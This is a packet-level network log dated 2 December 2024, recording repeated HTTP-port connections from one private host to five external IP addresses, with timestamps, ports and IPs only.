Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2024 14:37:21.697105885 CET	49786	80	192.168.2.6	185.106.176.204
Dec 2, 2024 14:37:21.817025900 CET	80	49786	185.106.176.204	192.168.2.6
Dec 2, 2024 14:37:21.817106009 CET	49786	80	192.168.2.6	185.106.176.204
Dec 2, 2024 14:37:21.827713013 CET	49786	80	192.168.2.6	185.106.176.204
Dec 2, 2024 14:37:21.947699070 CET	80	49786	185.106.176.204	192.168.2.6
Dec 2, 2024 14:37:23.348037004 CET	80	49786	185.106.176.204	192.168.2.6
Dec 2, 2024 14:37:23.348114967 CET	80	49786	185.106.176.204	192.168.2.6
Dec 2, 2024 14:37:23.348289967 CET	49786	80	192.168.2.6	185.106.176.204
Dec 2, 2024 14:37:23.351816893 CET	49786	80	192.168.2.6	185.106.176.204
Dec 2, 2024 14:37:23.499305010 CET	80	49786	185.106.176.204	192.168.2.6
Dec 2, 2024 14:37:39.162432909 CET	49823	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:39.282707930 CET	80	49823	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:39.282843113 CET	49823	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:39.299262047 CET	49823	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:39.419570923 CET	80	49823	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:40.431355000 CET	80	49823	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:40.431518078 CET	49823	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:40.825304031 CET	49823	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:40.946366072 CET	80	49823	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:41.841552973 CET	49831	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:41.961766005 CET	80	49831	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:41.961899042 CET	49831	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:41.976974010 CET	49831	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:42.096906900 CET	80	49831	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:43.060523033 CET	80	49831	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:43.060662985 CET	49831	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:43.478974104 CET	49831	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:43.598963022 CET	80	49831	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:44.504175901 CET	49837	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:44.624495983 CET	80	49837	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:44.624654055 CET	49837	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:44.639585018 CET	49837	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:44.760024071 CET	80	49837	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:44.760076046 CET	80	49837	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:45.766944885 CET	80	49837	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:45.767106056 CET	49837	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:46.150682926 CET	49837	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:46.270759106 CET	80	49837	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:47.170320988 CET	49843	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:47.290412903 CET	80	49843	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:47.290610075 CET	49843	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:47.302540064 CET	49843	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:47.422590971 CET	80	49843	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:48.437875032 CET	80	49843	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:48.438294888 CET	80	49843	3.33.130.190	192.168.2.6
Dec 2, 2024 14:37:48.438380957 CET	49843	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:48.440932035 CET	49843	80	192.168.2.6	3.33.130.190
Dec 2, 2024 14:37:48.561801910 CET	80	49843	3.33.130.190	192.168.2.6
Dec 2, 2024 14:38:02.402349949 CET	49878	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:02.522756100 CET	80	49878	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:02.522831917 CET	49878	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:02.538472891 CET	49878	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:02.658472061 CET	80	49878	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:03.860548973 CET	80	49878	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:03.860634089 CET	80	49878	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:03.860733986 CET	49878	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:04.041325092 CET	49878	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:05.060825109 CET	49885	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:05.181015015 CET	80	49885	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:05.181138039 CET	49885	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:05.197454929 CET	49885	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:05.317645073 CET	80	49885	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:06.522099018 CET	80	49885	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:06.522336006 CET	80	49885	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:06.522399902 CET	49885	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:06.713244915 CET	49885	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:07.732387066 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:07.852585077 CET	80	49890	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:07.852766991 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:07.869075060 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:07.989120007 CET	80	49890	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:07.989182949 CET	80	49890	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:09.194322109 CET	80	49890	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:09.244441032 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:09.277796030 CET	80	49890	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:09.277930975 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:09.385190010 CET	49890	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:10.404202938 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:10.524154902 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:10.524281979 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:10.534256935 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:10.654124975 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840359926 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840380907 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840395927 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840424061 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840436935 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840444088 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840455055 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840471983 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840590954 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:11.840636969 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:11.840642929 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840657949 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.840707064 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:11.960932016 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.961016893 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:11.961225986 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:11.965095043 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.010128021 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.043262005 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.043298960 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.043472052 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.047386885 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.047450066 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.047713041 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.055819035 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.055926085 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.056041002 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.064513922 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.064614058 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.064718008 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.072669029 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.072797060 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.072910070 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.081089020 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.081237078 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.081332922 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.089462996 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.089484930 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.089595079 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.097754955 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.097820044 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.097912073 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.106323957 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.106400013 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.106515884 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.114588976 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.114696980 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.114798069 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.130255938 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.130322933 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.130465031 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.163657904 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.163806915 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.163940907 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.244482994 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.244602919 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.244726896 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.246877909 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.247050047 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.247186899 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.251919031 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.252027988 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.252136946 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.257253885 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.257482052 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.257601023 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.262164116 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.262326002 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.262435913 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.267357111 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.267386913 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.267494917 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.273106098 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.273130894 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.273257017 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.277643919 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.277673006 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.277777910 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.282747984 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.282851934 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.282983065 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.287753105 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.287866116 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.287972927 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.292911053 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.292989969 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.293087006 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.298069954 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.298125029 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.298213005 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.301867008 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.301996946 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.302095890 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.305692911 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.305773020 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.305867910 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.309571028 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.309673071 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.309779882 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.313505888 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.313568115 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.313653946 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.317166090 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.317212105 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.317325115 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.445844889 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.445883036 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.446037054 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.447431087 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.447489977 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.447566986 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.450551033 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.450654984 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.450766087 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.453702927 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.453902960 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.453991890 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.456880093 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.457190990 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.457299948 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.460020065 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.460141897 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.460242987 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.463243961 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.463301897 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.463385105 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.466749907 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.466787100 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.466939926 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.469552040 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.469573975 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.469683886 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.472649097 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.472769022 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.472872019 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.475781918 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.476018906 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.476100922 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.478955030 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.479084015 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.479165077 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.482101917 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.482245922 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.482358932 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.485261917 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.485450983 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.485536098 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.488445997 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.488518000 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.488604069 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.491586924 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.491724968 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.491832018 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.999269962 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999304056 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999327898 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999402046 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999414921 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999429941 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:12.999459982 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:12.999507904 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:13.000781059 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:13.000835896 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:13.004682064 CET	49895	80	192.168.2.6	5.39.10.93
Dec 2, 2024 14:38:13.124521017 CET	80	49895	5.39.10.93	192.168.2.6
Dec 2, 2024 14:38:18.508707047 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:18.628774881 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:18.628940105 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:18.647104025 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:18.767132998 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:20.003469944 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:20.003499031 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:20.003508091 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:20.003643036 CET	80	49912	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:20.003806114 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:20.003806114 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:20.161046028 CET	49912	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:21.201375008 CET	49919	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:21.321397066 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:21.321486950 CET	49919	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:21.340894938 CET	49919	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:21.461014986 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:22.741286993 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:22.741344929 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:22.741354942 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:22.741359949 CET	80	49919	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:22.741439104 CET	49919	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:22.854505062 CET	49919	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:23.874411106 CET	49925	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:23.995722055 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:23.995973110 CET	49925	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:24.011362076 CET	49925	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:24.131565094 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:24.131577015 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:25.323488951 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:25.323520899 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:25.323528051 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:25.323537111 CET	80	49925	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:25.323599100 CET	49925	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:25.525732994 CET	49925	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:26.545280933 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:26.665887117 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:26.666023016 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:26.676837921 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:26.796750069 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045411110 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045439959 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045445919 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045483112 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045535088 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045542002 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045548916 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045617104 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:28.045681000 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:28.045686007 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045696974 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045737028 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:28.045782089 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:28.045830011 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:28.052835941 CET	49932	80	192.168.2.6	194.58.112.174
Dec 2, 2024 14:38:28.172931910 CET	80	49932	194.58.112.174	192.168.2.6
Dec 2, 2024 14:38:33.473968029 CET	49948	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:33.593959093 CET	80	49948	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:33.594055891 CET	49948	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:33.610939026 CET	49948	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:33.730968952 CET	80	49948	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:34.909288883 CET	80	49948	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:34.909410000 CET	80	49948	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:34.909485102 CET	49948	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:35.119527102 CET	49948	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:36.138788939 CET	49956	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:36.258977890 CET	80	49956	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:36.259119034 CET	49956	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:36.276108027 CET	49956	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:36.402081013 CET	80	49956	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:37.534991980 CET	80	49956	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:37.535289049 CET	80	49956	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:37.535393000 CET	49956	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:37.791712046 CET	49956	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:38.810884953 CET	49962	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:38.931159019 CET	80	49962	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:38.931255102 CET	49962	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:38.949639082 CET	49962	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:39.069741964 CET	80	49962	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:39.069771051 CET	80	49962	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:40.199031115 CET	80	49962	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:40.199341059 CET	80	49962	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:40.199515104 CET	49962	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:40.463351011 CET	49962	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:41.483606100 CET	49968	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:41.603877068 CET	80	49968	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:41.603971958 CET	49968	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:41.615027905 CET	49968	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:41.735064030 CET	80	49968	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:42.952363014 CET	80	49968	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:42.952374935 CET	80	49968	209.74.64.187	192.168.2.6
Dec 2, 2024 14:38:42.952516079 CET	49968	80	192.168.2.6	209.74.64.187
Dec 2, 2024 14:38:42.957034111 CET	49968	80	192.168.2.6	209.74.64.187
